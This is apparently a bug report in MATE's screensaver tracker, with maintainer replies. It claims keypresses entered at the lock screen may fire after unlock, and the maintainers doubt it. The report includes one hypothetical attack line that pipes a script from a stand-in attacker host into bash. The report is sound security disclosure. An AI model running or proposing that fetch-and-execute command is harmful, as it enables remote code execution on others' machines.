hammering the keyboard may leave keypresses in the buffer

[hannob]

I made an observation which I believe could be security relevant. By simulating hammering keypresses with xdotool I ended up in a situation where at some point the "Switch User" button will be hit, which will then cause a switch to the lock screen of the display manager. When unlocking the display manager's lock screen keypresses which apparently somehow are still in some buffer will be triggered.

To better illustrate this behavior

https://user-images.githubusercontent.com/990588/106428053-a1de2a00-6468-11eb-80c8-08879e4cd6f0.mp4

I have attached a video.

I have not analyzed this in exact detail, but I believe this means it would somehow be possible for someone to enter a certain chain of keypresses while the screen is locked, which will lead to these keypresses causing events once the screen is unlocked. An attacker may use this by entering a chain of keypresses that will open a terminal and do something like "curl https://attackerserver.example.com/evilscript.sh|bash", which would then be executed once the screen is unlocked by the owner of the machine.

Expected behaviour

Keypresses entered while the screen is locked should not influence the desktop ui after unlocking.

Actual behaviour

Buffered keypresses are activated after unlocking.

Steps to reproduce the behaviour

Run something like this on a terminal:

sleep 5;for i in $(seq 1 5000); do xdotool key ${RANDOM:0:2}; done

Immediately switch to another terminal and call

mate-screensaver-command -l

MATE general version

1.24

Package version

1.24.1

Linux Distribution

Gentoo

Link to bugreport of your Distribution (requirement)

This is almost certainly completely unrelated to the distribution, so a distribution bug report makes little sense here.

[cwendling]

I didn't take enough time to make the random generator hit switch user so I can't be sure but I'm not yet convinced by this report.

Couldn't it simply be that xdotool is still emitting events after unlocking the screen? I could easily imagine events not actually working as expected when the user's X session is not the active one anymore (when going back to the login manager), and "blocking" until the X session becomes "active" again. From the video I cannot tell whether or not the script emitting events is still running or not, so there's no data saying it's not.

If really those events are generated after the screen is unlocked, it's just a test issue, not an actual bug somewhere.

[zhuyaliang]

mate-screensaver doesn't buffer buttons